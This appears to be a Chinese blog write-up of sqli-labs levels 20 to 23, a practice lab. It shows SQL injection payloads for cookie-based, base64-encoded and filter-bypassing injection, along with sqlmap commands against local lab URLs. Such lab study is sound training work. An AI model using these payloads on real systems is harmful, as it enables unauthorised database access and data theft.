sqli-labs 20到23
第20题
输入用户名密码发现是这样的页面
抓包看看,尝试cookie注入:
1 | admin' and extractvalue(1,concat(0x7e,database()))# |
其他好做了。
第21题
抓包是这样:
看看这uname什么成分?
可以看到是对admin先进行了base64编码,然后对=进行了url编码
这里尝试对admin进行base64编码后再整个进行url编码,可以看到反应正常
注入思路:将注入语句按照同样方式编码。
首先对'进行编码并注入:
再对“进行编码后注入:可以看到'报错,”不报错,闭合方式与'有关,再看上图的报错,尝试')闭合
这里对') or 1=1#编码后注入:不报错,找到闭合方式。
爆库:
首先进行编码
爆表名
这里建议编码的时候只编码最后一位符号即可
好像不用url编码也可以
其他就简单了,如果用sqlmap扫描,只需要一句话
1 | sqlmap -u http: //127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode |
注意tamper必须是base64encode
第22题
使用admin登录:
抓包查看
使用'注入发现不报错,使用“报错
查看报错信息:应该就是”闭合
闭合方式为“闭合
爆库名:
爆表名
其余同理。
第23题
打开页面
查看闭合方式:'报错,“不报错
发现不管后面加空格还是#都会网页错误
应该是对某些字符进行了过滤,可以看到对-没有过滤
那就好办了
注释语句-- -中的空格可以使用/**/代替
结果发现注释并没有起作用,那应该是把-也过滤了。
换个payload吧
1 | ?id=-1 'or' 1 '=' 1 |
因为我们知道是'闭合方式,所以注入后相当于id=-1'or'1'='1'limit 0,1
1 | ?id=-1 'union/**/select/**/1,database(),3/**/and' 1 '=' 1 |
其实交给sqlmao一句话就搞定了
1 | sqlmap -u http: //localhost/sqli-labs-php7-master/Less-23/?id=1 --dbs |
甚至参数都不用加
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现